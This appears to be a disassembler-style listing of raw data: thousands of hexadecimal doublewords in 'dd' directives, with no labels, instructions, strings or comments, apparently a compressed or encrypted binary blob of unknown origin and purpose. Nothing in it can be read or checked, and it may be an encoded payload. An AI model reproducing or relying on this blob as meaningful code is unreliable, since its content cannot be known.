22E9F200h dd 5064609Ah, 1E280601h, 0B0EE3011h, 316DEBE0h, 0E24021EAh dd 10744407h, 0BD3E74C5h, 1D888843h, 3AE8516Bh, 86620EAh dd 0E64A8DABh, 0B4780AF9h, 0F79624C2h, 0E2220FAh, 83E7003Fh dd 0A06C82E9h, 240047C5h, 7E7AA197h, 0D0CF7Bh, 0B5AFAEACh dd 7C6D3C3Bh, 68E5662Eh, 61F0B02Dh, 16C100B1h, 42966772h dd 0B8C32E6Dh, 0B806EA36h, 900D7AF1h, 0AC2F0E78h, 8D0086F6h dd 0DC3EDE1Fh, 5A17F09Ah, 0AC0064BAh, 0BC7AD153h, 0D42C2EB5h dd 0A07F12B2h, 0E0803A7Ch, 0C047149Ah, 5DF120BCh, 5C281976h dd 0A5099081h, 109AF853h, 2B5A0300h, 0F1306C72h, 23D10029h dd 0BF71ADBDh, 9B00625Eh, 960CA4C5h, 87EAB8h, 90C13108h dd 67218F4Fh, 0CCDFD900h dd 0F545AE8Ch, 0BEB0F807h, 0BA830058h, 0C8585D93h, 184EB605h dd 70CC2106h, 0CE371694h, 1340043Bh, 0AAAF0130h, 3030F75Eh dd 0A0014895h, 5CD5B11h, 139AA92Ah, 0A7FAA400h, 70E18E86h dd 8AD90989h, 3000C7F4h, 83A3B75Ah, 601121Dh, 8C022ABCh dd 0AF26550Fh, 0BA4362D9h, 8288A9DEh, 40ECEA68h, 0A7F3366h dd 3B05428Eh, 7CB504E0h, 60CB85Dh, 47E55A8Dh, 6CAB1618h dd 1D0CB458h, 6AB8CA05h, 0C0413E4Eh, 0B401FBA9h, 0D9543F00h dd 0A0F05230h, 0C8DF19B0h, 8CBEF580h, 5822496Ah, 2C57007Ah dd 18D48441h, 8249F95Ah, 0B7BA0080h, 193D6070h, 28AD782Fh dd 0B94BFA2h, 95B60F8Dh, 29A9B482h, 90106C4Bh, 7B825782h dd 0F110B2A2h, 0AEDC407Eh, 456B5018h, 62EB6DC8h, 8EB1E837h dd 57822136h, 80E87EC2h, 1F2E99C0h, 0A9671312h, 0D718E05Eh dd 2600BCB9h, 0BD9EF24Ah, 60DB00D0h, 0D7EE5EB7h, 43053C04h dd 0A3B655AEh, 42456CC0h, 0E10D0058h, 4FBD70B5h, 0AF25CF1Ah dd 81A059BCh, 29C07EBEh, 7C2D28h, 8A4BD1CAh, 2AAFAE0h dd 0BF3AB03Bh, 9D8F1758h, 0A45809F7h, 1B4070F9h, 7810122h dd 7FEA2895h, 8EF550F9h, 0C81249F0h, 6CAC91CFh, 0EA31097Fh dd 7C00BA38h, 0AF136929h, 0B182000h, 0FC5ECE39h, 5F820059h dd 41B20C93h, 880CF7E3h, 540787EDh, 0D89E0B2Ah, 70920F5Eh dd 0AF767484h, 3DC18844h, 57B20143h, 0A9BA2188h, 0D642461Fh dd 0FD2E1C30h, 911D841h, 45630CA9h, 90CFD910h, 0FB2CF0h dd 0A6A3438h, 0B246BCFDh, 0A1A99B00h, 0DACF6DCEh, 29E46405h dd 8B49404Ch, 1AB7Ch, 9B4EBA77h, 2D46371Bh, 8672D600h dd 0A28F8304h, 5A9F4B1h, 350F2941h, 5FD30776h, 8E97C0A5h dd 3C009426h, 7915251Ch, 0ED16CAh, 7D6F877Ch, 3ECB6236h dd 0C7F13300h, 1952D6E7h, 0E6010011h, 43E48D67h, 0D400D726h dd 4354264h, 1EE7781Eh, 9DAA36Bh, 4380841Ah, 79B7BFF8h dd 8ADEA803h, 90BCB657h, 0F9B0176h, 0F0D25D1Dh, 0FCA93880h dd 0BF989304h, 3EE0A102h, 8F262286h, 3AEC079Bh, 7B93809Fh dd 1494A080h, 0A45969FBh, 50E4F900h, 77A82ACCh, 0E6A5D00h dd 1EE96E05h, 0DF910722h, 9B84FDEEh, 0C1994680h, 36000865h dd 565BC95Eh, 0EC8902h, 0B50BD812h, 9381154Eh, 63699600h dd 5A6A9006h, 11FB0019h, 0A321BD1Eh, 0FD010C87h, 0B8F1B2A1h dd 0F740E22Bh, 0B0B977h, 0AD6803A0h, 0E90C8FD6h, 71925200h dd 9C85F5A9h, 5800101h, 8B243742h, 5546DCB5h, 0EABD4F00h dd 0ED5CE72Eh, 8C2612D4h, 3A00BE6Ch, 46BEE2B6h, 0CDA63E88h dd 0FCBC3C03h, 13E94EE8h, 0F22DE466h, 0AB90B400h, 0D2FE4D9Bh dd 84F00063h, 0EB6E28CCh, 12E68F32h, 3B5CB509h, 1B03009Ch dd 0E56370h, 0D7D3EFECh, 477A72Ah, 0B9E26D28h, 8B7BFA00h dd 0A26B1BBh, 0CB82001Fh, 865DD63Ah, 0B3001683h, 60F2DE32h dd 0D1FA96h, 0C638BF59h, 0F580A60Fh, 0DD0347F8h, 2BEC4436h dd 0D288F974h, 33213021h, 0C0161DCh, 0D4A16A2Eh, 5800E0E4h dd 27B2109Ch, 26188517h, 750803Fh, 8BDC24h, 106AA030h dd 75EC5A01h, 6B79D0EDh, 2DE61080h, 0FF98D1C6h, 50608A05h dd 0E9063578h, 1D14662h, 8333F3D2h, 20739E29h, 0A00C8490h dd 0E1FEB5BEh, 0DD4502CAh, 0B961AE59h, 86EF9048h, 0DE173D18h dd 314C1E1h, 3E5DD5A5h, 0D008D130h, 584732E4h, 9A03D5A4h dd 0A7817078h, 80EDA829h, 0D0C65027h, 1DF4D7h, 0D4F2B2A9h dd 66C22219h, 2DF4C50Eh, 5A16E0A5h, 1595FFDh, 67F99F45h dd 0F47D4DA0h, 56F2B8DBh, 0ADD8BE00h, 830AA1F4h, 19B713Ch dd 0DE23ED19h, 0E52E0281h, 0CE34F809h, 0F945848h, 24C4E2A1h dd 2DC08AF3h, 902747A9h, 0C2E43Fh, 0D0232A9Fh, 6783D224h dd 5100ED75h, 5D35B2B0h, 0E43BBBh, 5AB8F83Eh, 14646654h dd 0DC3F6A1Dh, 24FDD79Fh, 0DD0367D4h, 0C8210749h, 38A90DDBh dd 6EBDA790h, 0E40B3F80h, 0F14AA635h, 8116A801h, 0F6E1FA14h dd 90896E4h, 42F4B599h, 5E0D9480h, 780CD1B8h, 50332E30h dd 0B0DE7D9Ch, 381B7833h, 7B0060F7h, 0D7848F88h, 0DB002180h dd 0C9E4259h, 4C3E9DA2h, 5C00BCD5h, 49D20844h, 8E005A0Eh dd 60C424F9h, 1DC0BF1Dh, 80655452h, 791A89F2h, 37039A87h dd 95B80CC6h, 0B329887Ah, 0C08A13FDh, 0F8880063h, 31D7E7CBh dd 5E8238h, 0B41219E8h, 0AF1D3Ch, 0BDE0AC1Eh, 740C8CFFh dd 0E0178B3Ah, 0AF113EC6h, 14250034h, 0BB8A285Ah, 170202BEh dd 991A485Ch, 818480C7h, 3F7A3CD5h, 0B700A809h, 0B458B8FBh dd 327BBCDEh, 0D7067C9Ah, 10268690h, 2EC900CAh, 9D9AAACBh dd 310082FEh, 52F23E3h, 50CF20h, 0ACCCA998h, 7A06F22Ah dd 241D047Ch, 0A19C917Ch, 6D358440h, 24F7234Ah, 9F5C61h dd 0BE78C0E6h, 78BD971Fh, 4C47AF8h, 33F8CC72h, 84E805Ch dd 5F003496h, 238F9218h, 0EDF5F6C2h, 437DD840h, 17483E20h dd 11C5147Fh, 0CF0FDCE8h, 0B0406A31h, 0B1703909h, 1D18E760h dd 2F165Ah, 965B82E9h, 19BDA648h, 6C973612h, 5F910C44h dd 0D7282A40h, 8A1CDD53h, 9BC22CC5h, 48F222FDh, 969780h dd 750D4872h, 7B5261DAh, 5CE60F00h, 0EED8C8D6h, 0C1431CCFh dd 0D08B554Dh, 416EB309h, 8A7AA400h, 0EF01AE9Fh, 8F2CD104h dd 17F449C9h, 0B161031Dh, 75ABACC6h, 8C28D0C7h, 0B800A32Bh dd 44692E25h, 0F39F67Fh, 27556DF9h, 7A855100h, 0EFB03888h dd 0CB98AC1Dh, 2A612FC0h, 2C347Ch, 0E39949C1h, 0CF22021Ch dd 62B1CD30h, 4C49B6Ah, 80365878h, 223890CBh, 4E00B311h dd 149554BDh, 444B51h, 5520A850h, 281C9AB7h, 79B8AF05h dd 40D55D82h, 1F1EB11Dh, 91E2F780h, 329C43h, 0C0A7C219h dd 2061EB41h, 675F200h, 3E93907Eh, 0BD1A00C7h, 0D1BA15DCh dd 0D0B571F0h, 28CD003Dh, 0A22CB59Fh, 0A538EE6Ch, 0CF81005Ah dd 616ED0FDh, 0C0DF496Dh, 0E476D900h, 3CB1E7ACh, 0B257C70Eh dd 1BE58126h, 90742EB6h, 5F3AD6C2h, 0EF40094h, 0DEC5CA8h dd 0FAB87C18h, 0F81C5D18h, 692C00A9h, 13F3EA4Ah, 0DF1887B5h dd 70681157h, 0E77B0039h, 1CFD5D61h, 18C00391h, 14C3059Bh dd 77F862h, 5B2FAB42h, 0F06F3B8Dh, 0AF09D100h, 81295598h dd 0A1E853h, 0B4F5FB45h, 15149CC7h, 0B114C575h, 186C6E61h dd 25A0566Fh, 0E8F51C0Ah, 0FBC840DAh, 1E2F284Dh, 47D68103h dd 0F72AC3Ah, 0A454ABD0h, 0B7B8F1B8h, 0C715B102h, 81A51BE4h dd 0D184C20Ch, 60808449h, 0E17B7CA8h, 0B2026A0Bh, 60BD32E6h dd 524B4063h, 3F4B00CEh, 0CF4531BFh, 0E30172A5h, 0B90F9A4Fh dd 0EAC80A57h, 37BF2E4Dh, 6E480001h, 0D39B62C6h, 0A9A100Fh dd 260720AAh, 45CF79h, 5F03F391h, 4B7388FAh, 0BB4E963Ah dd 0AA01125Dh, 899B8305h, 0DFD8A5C0h, 0B2AD0418h, 0C12BF712h dd 6014A46Fh, 90000AE6h, 18627F30h, 0B19E9Dh, 47B09BCh dd 7950FB0Bh, 0A0AE8B00h, 0B7DA222Fh, 65100062h, 0CAA02DEh dd 90003E8h, 86E0B18Dh, 0C8B3F9h, 6166845h, 0FBA45001h dd 57A8BF00h, 0E8D64D59h, 0E7F61CA5h, 20A91243h, 8EA12128h dd 6FC73A05h, 7283E4FBh, 4AA3B1h, 8EA9EF21h, 0F5ADF988h dd 64B0A700h, 0D1E8E328h, 0C3490E6Ch, 2BE09B54h, 407D20BBh dd 0B70CBA78h, 18FC4CABh, 0D4F150AEh, 27CF0970h, 0B421565Ah dd 0C8A412A2h, 407E9D1h, 511C32Eh, 1C97AE44h, 3AA40B60h dd 0C7580064h, 0D1A8C469h dd 41C04519h, 28757342h, 6CBD52DEh, 17303DF2h, 2E211D9Eh dd 0CFB90FABh, 6621384Ch, 391F601Fh, 4FC187BBh, 0B9E30B09h dd 2AE0033Eh, 0E37E1542h, 0D68838h, 4A0A9711h, 33D1BFF6h dd 0FC08EE61h, 0F9372100h, 8FAE0C96h, 73540655h, 48A22D64h dd 45380D0Ch, 0B4B582Eh, 2560EE82h, 0B63D6800h, 500435Ch dd 0CF17B95Eh, 55777Ah, 0E52D7CC1h, 4CBCE0DCh, 811CF100h dd 45B232AEh, 0B8F73B88h, 0E599007Fh, 0E49F85F4h, 2C0731B0h dd 0FBDA7BE0h, 2123D650h, 0CE7D91h, 0F2E2473h, 0D26B1058h dd 0B2C99E2Ch, 7C542600h, 7445F516h, 36DF03C2h, 8C032AAh dd 0B75ADAC8h, 8B807A00h, 110D663Ch, 9C44024Ch, 1CC78591h dd 2EF27840h, 89CD5D00h, 0A5AB22ADh, 0F91D008Bh, 0FB4BD397h dd 9D022BC7h, 6B939C4Dh, 6EC8E165h, 62AB1E0h, 0D2985A6Ah dd 4803147h, 8660A6DEh, 3F926110h, 30EF0037h, 0ED16ABCh dd 0DE1C7B0Ch, 6CC0D567h, 61F0DA99h, 29226425h, 0F1EE20E0h dd 8788158h, 443744BAh, 44126B44h, 228464F6h, 8223C6Ch dd 7922262h, 449608F7h, 22842C3Ah, 3C4218CCh, 21332211h dd 1B1F0890h, 7A0891h, 0E4D807AAh, 87AD3A6Ch, 9E623B00h dd 46528928h, 8E6003EFh, 3D1C94B1h, 78D02CE3h, 0FC1F024Eh dd 4F00FAEBh, 27496591h, 0B07A00ACh, 528CE895h, 0EB03F367h dd 0B919098Fh, 0CD5C901Ch, 1257AF0h, 3F3D6B29h, 312B448Ah dd 0FBBAC8B7h, 31004378h, 0C5CEE916h, 10223EBh, 7B638993h dd 6184293Dh, 0FA71F85Ch, 7EF40C77h, 0EA88E600h, 0DBCC44BBh dd 7B5502CFh, 70EB4894h, 222E56C0h, 58895900h, 33567726h dd 4CE41E98h, 0F4CE038Bh, 35E82ADBh, 0C300A1AEh, 79EEFBA2h dd 1ECF7DC4h, 0FA25F7h, 2ED67075h, 0CB002C86h, 362F4A1Ah dd 16B9052h, 0BB2050AFh, 0E894B982h, 0B200F76Eh, 0E17DD8DBh dd 1952FBCh, 0F072F875h, 2473910Dh, 5F02333Ch, 99EFFD28h dd 4405E0ACh, 3605060Bh, 586F21D8h, 22CCF07h, 0AD205B3Dh dd 0E939A8h, 88B342D4h, 0A17B8FBEh, 4963CD12h, 8080640Fh dd 0DE02E579h, 938700A3h, 0BCC53F77h, 6501EF17h, 0A8A1997h dd 0C2E4444Dh, 1DD700E1h, 9A3A4B0Eh, 0A0399809h, 8D5D8E97h dd 0EFC05F4Ch, 0D5A3AA21h, 0DE57003Eh, 5280996Eh, 0E501F0BBh dd 0CF2EBE7h, 8DED25A4h, 752E9C40h, 4EC2003Eh, 0E03BB6BCh dd 0B138BAECh, 0D19A1E3Dh, 0ED89E440h, 0EA307D6Fh, 1EE53A06h dd 59A10180h, 0D06C848Bh, 372B3Eh, 0A4DBE7CCh, 1DFA0B4Ah dd 4CE06FE3h, 45F06A70h, 6B382F04h, 80AA13FEh, 0BF7D4442h dd 25331900h, 0DB77DDB6h, 83AE0F5Ah, 504ECE0Eh, 4A838FAFh dd 88E0592Ch, 870316DCh, 0A2D977A5h, 8D3C88C8h, 974E0065h dd 11E795F7h, 71025707h, 5974A215h, 9EBB813Ch, 0BEF85E65h dd 52280745h, 305DBB56h, 4D67D571h, 9D1A4616h, 1DCBFC02h dd 1662D73Dh, 0EFE7F801h, 0E2402593h, 9664E360h, 480F4100h dd 0AA5920FEh, 0BA9A289Ch, 0A80B248Ch, 1DEA0E0Ch, 70085FCEh dd 0E765BE00h, 736DCD6h, 5295551Bh, 0C8471FDh, 3C37E409h dd 2A12958h, 0DF108E6h, 0A8A2C05Fh, 0D602097Bh, 80A0C955h dd 0BE53F640h, 21698D03h, 0B0847975h, 1F091B29h, 0C091CE25h dd 0C9E8230Eh, 101D47EFh, 0B2D54F45h, 0ED34008Ch, 0B45B20D4h dd 7F8C149Dh, 0F10084FFh, 6933351Ah, 31EA81E2h, 7CC3C612h dd 2EB4CC00h, 0C320CAECh, 0D850BBE6h, 9B85498h, 2EBBE00h dd 478BCE97h, 0A13400DAh, 0DD9B83B0h, 40ED152h, 20798CDBh dd 7F1BEBD9h, 7A9000DCh, 0D4D53D4Ch, 2EE84114h, 83A71A00h dd 9F43ADB4h, 1261710Ah, 2F6BF4h, 536DB5F4h, 411C8BABh dd 28C05C8Fh, 1EC3D3F2h, 0F9A90FA2h, 0B3098816h, 975ADD60h dd 380036F4h, 96FD53Ch, 244F0FF8h, 28A379h, 0A9FB672Bh dd 0D7034113h, 20E675DFh, 0F088E04Dh, 5DE8006Eh, 697FCD4Eh dd 76002716h, 0E6F6469Dh, 4BB84ECh, 0F003D395h, 50C85E3h dd 3FAEFD4h, 1A980BA4h, 17FC5BB0h, 93007490h, 24F24288h dd 0EA414F29h, 43DB01F9h, 0C35E5B34h, 7738808Ah, 0DA123BDCh dd 0FE250078h, 0FA599926h, 0B93D9F8Bh, 0AC13F07Ch, 0CC402B01h dd 68209847h, 43C01366h, 1181DDCh, 314C8EADh, 0C616D0A4h dd 0F7834900h, 19CBC9E0h, 0DCC40090h, 17E071Dh, 0FC169970h dd 0B04037B7h, 36CDB442h, 58F40078h, 4D717C3Ch, 68001D17h dd 0C341A46Ch, 13CD1034h, 0E91C9F6h, 0CCC0A13Ch, 93767D6Ah dd 88A77828h, 0ECAE0628h, 0CE460B00h, 9C9D9756h, 2B7205h dd 0DF15AAD7h, 3926282Fh, 4487E426h, 0B4509600h, 98B877BDh dd 577100E0h, 86143A2Eh, 9C00FF4Dh, 0E734481Ch, 0FCC773h dd 0FEE85012h, 908D5945h, 5DFDBA09h, 5AC8348h, 9A6024AAh dd 7583BCDCh, 0DE6738CFh, 0F9A01000h, 0E9CB5D6h, 192600EBh dd 0C3886D70h, 0EE0063D7h, 0BECB3FB7h, 1C3E5BF8h, 40778AE5h dd 0C771C6F5h, 0BB39817Fh, 7DC980F1h, 4F54D34Ch, 497200BEh dd 8C9E6D32h, 6103128Fh, 2FD55F01h, 2C89805Dh, 3C1A166Ah dd 0C77400A2h, 0CD90669Ah, 0F5509100h, 40073912h, 2E785CAAh dd 6A7250h, 0A309CE3Fh, 2D2FDB4Ch, 0E0E0466Fh, 370540ACh dd 5D760045h, 358F90F7h, 0CD0659E3h, 21E29168h, 163F0E58h dd 776A9AD5h, 0C05710D0h, 0EB47C13Bh, 90C70003h, 0DCD07E86h dd 0C8A0F1C9h, 2000859Bh, 7F621B80h, 4C6E94A2h, 0AA015C11h dd 62FAD67h, 0EA108012h, 7458D73h, 2D742C26h, 89C097Ch dd 0A447C800h, 0B9001112h, 0DC25F26Bh, 90B68D99h, 167C68h dd 2BDE5FB5h, 0DB0FB964h, 312EF000h, 0A76C8F5Ah, 57150F5Dh dd 3E20EA08h, 92137A7Bh, 0F80024F8h, 0A93AC1F7h, 180E779h dd 6D26F41Ch, 0C8F051A1h, 0B800951Ah, 7BDBB39Bh, 2D6F75h dd 7868E80Ah, 27846E1Fh, 79EF1200h, 0BB590631h, 0F1290E34h dd 0A6075C75h, 0D9192076h, 0AE71F50Ah, 0EDDA5900h, 3C6E5606h dd 7234F438h, 0DFA301EAh, 0EE6DA8C1h, 68F09394h, 90B7D003h dd 2E59E8FBh, 0CAFA0061h, 4A650F60h, 8231E902h, 0AADDE1EEh dd 0A1EC4CE9h, 0B8705E2Dh, 104C80h, 7ACB9F3Eh, 27D2F0h dd 0E8AB81AFh, 5C7869A0h, 6A82A600h, 0E67A6002h, 0BFA30071h dd 500E2C07h, 1F00863Dh, 15C7625Fh, 78CBDEh, 0F455B666h dd 0BA91C105h, 0A3ED2E01h, 0DAF1D3B3h, 441D30h, 85F01057h dd 189BA5B7h, 9E1E6F00h, 5DA8D9DCh, 0EF6E28FDh, 0E87F60BAh dd 0AC4B6DC8h, 712EA000h, 0E7FE335Bh, 4D040040h, 21BC0926h dd 500075C2h, 0E84C715Fh, 18B0EDF9h, 18EFD0AEh, 290AC522h dd 88E0DB25h, 8CAFD102h, 0A087C052h, 277807D9h, 0F736883Ah dd 8EA8E04Eh, 0F10AC19Ch, 0A0BAD69Ah, 9CB2D50Eh, 3757A6C7h dd 6C5579D0h, 0E06A0005h, 295E50C2h, 0D00EF3CCh, 20287C0Bh dd 0F6D6CEBBh, 0D24000C5h, 518D34E8h, 30C0D0AAh, 3B8F9A84h dd 0AFF13007h, 600B8B10h, 0C3978E00h, 904E15B9h, 49C000C9h dd 8F759A7h, 0D382592h, 3C569D6Ah, 5A155C82h, 592E0069h dd 7AC16422h, 0E5971FADh, 74050F8h, 0EAE77DBBh, 0FF13110Ah dd 0BF982406h, 2F482300h, 0D021984Fh, 0C03B00AEh, 0E126360Dh dd 0CF486633h, 640C7DD0h, 39179623h, 48241459h, 7616C653h dd 0FFC400AAh, 73E1D7FCh, 0F173E9FEh, 0DD4Ch, 0D6EB93D5h dd 4B0894h, 919DD32Dh, 2A56ABE8h, 0F8509260h, 9FC9B5Dh dd 6B7E1E90h, 0F4508CA0h dd 1801F6BDh, 0C5D292ABh, 0C0214080h, 80F7EAE5h, 0C0FFC19Fh dd 39D59318h, 0B005CB15h, 0E1A29C3Eh, 480BF007h, 73D78F90h dd 2849231h, 8E36537Ch, 0D42379Eh, 6D8FDC48h, 8407D502h dd 68DA6317h, 2EDC561Ch, 806839CFh, 2FA759CDh, 0BBB0CB1Bh dd 0DD553E00h, 35FBE615h, 0C0A000F9h, 70CDCE50h, 0F3004D32h dd 538533E4h, 0B26708h, 0DD249A75h, 1D9DB711h, 0CB002CE6h dd 0C4034D41h, 318CCB1h, 5B29F3A7h, 39D80AD8h, 0C800613Dh dd 0F7F4051Fh, 8C7350h, 5978E184h, 0EACB68DBh, 0AD639900h dd 4B6B825Fh, 70E4008Fh, 147B972Fh, 8D07033Ch, 7781A704h dd 2DB5A080h, 8EF9006Ah, 0DA02BF0Ch, 1800388Fh, 0C639D98Ah dd 0FC5B3007h, 82D007Fh, 0F2FB7C8h, 78383C05h, 0CE030E22h dd 634EA9CBh, 941BE82Ch, 883D12BBh, 0AA1800ACh, 4F43817Ch dd 0C64E800h, 94B2E561h, 0D3570052h, 9FE0FED4h, 5402E3F3h dd 8676CB63h, 2CB180B9h, 968C5FBh, 277B6D7Ah, 0F93A9C03h dd 57D1FF8h, 0A7D6330Fh, 90801C10h, 0AFFEF86Fh, 143139E5h dd 0E24C93h, 5884F47h, 0DD02622Eh, 67FAFE6h, 34070C1h dd 6725028Eh, 6380DB58h, 9600079Ch, 5BC9D91Dh, 3ACBE8A6h dd 0E1033887h, 6CE110Eh, 0E0782590h, 2837C00h, 0AC958497h dd 8FB60024h, 9FDB3271h, 8100B0A5h, 0BEA165D9h, 3EF006E2h dd 8880BD84h, 6F87BF9Bh, 2F0033FFh, 1DD14748h, 0B745F8Bh dd 70B669F0h, 67119E80h, 2C07EC18h, 0B3CF3343h, 2F499BA3h dd 27005330h, 0E5C4F87Eh, 0C900A075h, 6926A74Ch, 71CEFBFDh dd 98A30065h, 2EDF5797h, 6E009080h, 0DA45DB8Fh, 9881D0B1h dd 4B0D00D5h, 135B7CD3h, 0B7005706h, 427FE2F2h, 1411B55h dd 0C4C6F8FAh, 0CCFE707Bh, 51003F94h, 99AFBF89h, 4CB4ACD8h dd 9D00876Bh, 875D4CA1h, 0D0006A3Bh, 0F31EC265h, 137A0ED4h dd 0EB3C6E2h, 6A00F813h, 679F83C7h, 8705343Eh, 5553C188h dd 89FD6460h, 9E6A0024h, 5A93123Bh, 251D3865h, 1B403FD4h dd 0B9138720h, 53EDEBA4h, 99E42BE5h, 3CCD006Bh, 18FC9EB7h dd 0C8EE4239h, 0C29FF31Fh, 0C75C1903h, 97410086h, 90110A09h dd 0B200CAB4h, 6F939DBDh, 1B38E9h, 22F32991h, 6845534Bh dd 9A698D3Dh, 0F5703508h, 98950881h, 0B02ECB1h, 833D2E38h dd 5BA164F6h, 71E1B8D7h, 688F2EC5h, 0D48E005Eh, 0B08A0780h dd 5300A070h, 1026FA8Dh, 722B62Bh, 1DBCD93h, 3A0F00BAh dd 7D02358Bh, 0C8432977h, 0AA9F8317h, 2F12A05Eh, 3B65EC60h dd 5280778Dh, 0E9FEE1Eh, 0C10097B7h, 4E4C5010h, 42DC2Eh dd 2F7190DBh, 0ABF6BE3h, 2A368E00h, 0CE29276Ah, 9D8D1CDAh dd 4380BAFCh, 86A108BBh, 91F1B4Fh, 0B29F694Dh, 889B61C0h dd 79EFE0D8h, 39927F87h, 3600E924h, 0E34F32ABh, 6A01400Eh dd 0CF06B608h, 72C08E66h, 0F57D49h, 38256158h, 5C1181FAh dd 4177D400h, 2B27306Fh, 973004Ah, 9D93AF18h, 0F300C78Eh dd 9FBA5BEFh, 387C7BFDh, 0C400F7BCh, 0E3A4D8E8h, 12009568h dd 727FF097h, 2D2AADh, 1717C03h, 48662856h, 0FD85DE00h dd 3B9F90A3h, 9BE681h, 17644A75h, 37256DFEh, 0B2530404h dd 4891B040h, 0CB108478h, 50C0C8EDh, 1825BD54h, 8611051Ch dd 108756Dh, 7E7052AEh, 164C7062h, 0FC347903h, 0A08830AEh dd 3D90DAh, 23F367A5h, 99408A6Bh, 8B2FD739h, 80BC6A03h dd 3662A960h, 0CF040088h, 0FE4E9B80h, 8B00E852h, 98141557h dd 70B8E6B3h, 0CF4F0F04h, 0E2636E50h, 27E0B48Ch, 0AF18F797h dd 0D6B053BBh, 0FD7900F0h, 9176C57Ah, 0E2E67082h, 6B321A1Eh dd 3900A064h, 0A37AB4B5h, 4AAE0084h, 6EF8AF7h, 0BB008FBDh dd 51A70F78h, 325D78Dh, 0E9E7D13h, 4EA00426h, 4600BF76h dd 234998A1h, 3D07E982h, 0E60EABBAh, 10403ED4h, 0A8952CE1h dd 5DC77312h, 7C9E0400h, 11E01AEh, 49287B31h, 0F05487E0h dd 401C90ABh, 0A8BC4566h, 0B905C0F6h, 11CACCC9h, 3E3B3E80h dd 4D20005Ah, 0A571299Dh, 0F500EE06h, 0DB9C21EFh, 356994Ah dd 1CF35D1Eh, 0E1E7F068h, 607C43F6h, 5006FA5h, 532D7A06h dd 0BED0F7h, 0D3B2E8DCh, 0C36EF5ACh, 97961004h, 3080B619h dd 387CE9A6h, 4880FE80h, 15595ACDh, 9E008A04h, 0E29925E0h dd 202FBAACh, 45034BAEh, 0AFE41417h, 0D1800DDh, 386B06B0h dd 12603A1Eh, 0F804BD84h, 8A8C0185h, 0E816E5CCh, 1FF06B61h dd 767591h, 0C34F49C2h, 932FC4FCh, 74D8DA03h, 880881AAh dd 114048Ah, 8732B771h, 0E63DFEB6h, 0BA1702E0h, 35344400h dd 52FD15Bh, 9D49042Bh, 0C35EBD38h, 40B40C74h, 184ADDBCh dd 2CBE0017h, 1C4DA5DEh, 0D800528Eh, 0AA73EC16h, 0F4100D7Ah dd 0C0050013h, 446435B3h, 9700B8D5h, 2E3695E3h, 749CC431h dd 0E2E90085h, 3999CBF9h, 810E6B26h, 4037B17Ah, 2AA3053Eh dd 0B42300F2h, 0FACFAF0Eh, 5A12B7EAh, 80004106h, 39871DF7h dd 0A927003Bh, 79E44D0Bh, 86585F3Eh, 0D82E1E32h, 98004913h dd 50E63A26h, 6E11C012h, 0E3204662h, 97F8365Ah, 7783B33Eh dd 0D1903DC2h, 0DBDA2BE0h, 0AEDA800h, 0A505356Fh, 0AF2D3E1Ah dd 784F02F8h, 0C1442048h, 1FCB71C0h, 0C223B002h, 0E0E4B34Ah dd 3E915C36h, 8D031775h, 0D549FE68h, 673B9D80h, 87C8E600h dd 78E9F72Ah, 0EC170065h, 2564EB5Dh, 3BEE7004h, 0AC0BDF28h dd 0AD7BD0F9h, 31540307h, 66C3AF0Ah, 5B82E846h, 43580473h dd 80F50770h, 4C4A3980h, 9914100h, 0D9BEBD5Ah, 1DC614A0h dd 4049A7AAh, 1BA17000h, 0D719CC5Ah, 73D69E03h, 0E76EE99Ch dd 0FCC47620h, 0F0AB1C37h, 7B5285h, 45507780h, 68C054EFh dd 4AF493BCh, 0CE5F07B8h, 99D73B19h, 0DC2D3400h, 8006BB1h dd 7F66992Ch, 76FB9C61h, 224201B3h, 8BD29E88h, 3C30205Bh dd 0A3744h, 2652C1E8h, 101E686Ch, 0A70FF1B8h, 4097791Bh dd 40A20CA8h, 0ABE250ECh, 4F90983h, 11001A57h, 7EE6469h dd 881DB679h, 0D8081D6h, 0CC9A1644h, 99790C15h, 0C818D7CAh dd 54CB0200h, 0F75CFFC9h, 110E087h, 0ABC3E2Fh, 0E036BA53h dd 6B79A4CDh, 1CF8A100h, 0A7E46A46h, 3B314863h, 0C485D205h dd 0E03E8151h, 0A889878Bh, 37181D4h, 304902h, 0E3F858h dd 26E6CB8Ah, 6AFED836h, 79B4EF4Ch, 584A6800h, 0FB699D88h dd 50E149BEh, 2C433E00h, 755E03E0h, 0CE00C890h, 0C56DF79Fh dd 145DCAh, 0C121C78h, 0B18801B6h, 7BE3A300h, 66FB6729h dd 9CA03E3Dh, 6F1F6B00h, 0EA4E862Eh, 6020D4E5h, 0DDE22898h dd 5255BC00h, 0E550C9ABh, 0F95613C7h, 0F23300D6h, 364A1A61h dd 229B3309h, 73B8006Dh, 0E61EE7h, 0B47B40FBh, 4EAB641h dd 3E19007h, 6FF798CDh, 7CFAEC30h, 82940007h, 0D195D4E8h dd 9F89C02h, 2E6C7000h, 71EED17h, 30204C4Dh, 0E93AD702h dd 0E2E019E0h, 8DF4016Fh, 0FE0A7D12h, 8C1CD000h, 914A94h dd 0D5D9A7E7h, 0A0178BA9h, 6F445A1Eh, 3ED36C0h, 5C3E42h dd 0C9B12A22h, 0E4934501h, 6E39C07h, 1C90EAF6h, 0F44FBC0Fh dd 115E0042h, 0D7B2CC5Fh, 7500A330h, 0B1991EB9h, 0BCEB19h dd 0F5E6365Bh, 39161DCDh, 0E89D732Ch, 83987200h, 0F85EADh dd 0C1871F4Bh, 0FC2110CFh, 6A8E1E30h, 7AD38107h, 0D92E07CCh dd 0E7055324h, 0D6EB10A3h, 40F306Bh, 40D3BD3Eh, 7D2610FCh dd 20270175h, 0F05823ADh, 91C56043h, 2E44A100h, 0B265FBD0h dd 54D60027h, 3F21BC48h dd 3CBA7D9Bh, 8850E21h, 0A800C015h, 6E1A96B8h, 3B880040h dd 0A1AD906Dh, 63000466h, 7990D73h, 0E8624C49h, 5C877920h dd 9B0110AFh, 463F1D67h, 506183DEh, 0E84AFB20h, 1E423C76h dd 82C41240h, 8B981AD5h, 3F0F4CC0h, 0BC0A6C02h, 0C0ABE3E4h dd 0AF4615h, 0D110C638h, 0F024ED6Eh, 1E544116h, 0CEB04C01h dd 29F081F3h, 0B614003Eh, 6C19C29Bh, 0AEEDB79h, 0C112CC98h dd 407D84Bh, 158054E0h, 3FAF8005h, 3D804A69h, 72A5B4A3h dd 2E00A926h, 822F3CCBh, 0C0098E01h, 6429AD84h, 840042AFh dd 0CF926DD0h, 78643BCh, 0FEBFC4E1h, 94958069h, 5F001A6Ah dd 25875BF0h, 0B6ED83h, 0F45D0F9h, 6B8FDC3Eh, 5CA10E00h dd 0E777F5B8h, 0C93D3F26h, 10006C3Eh, 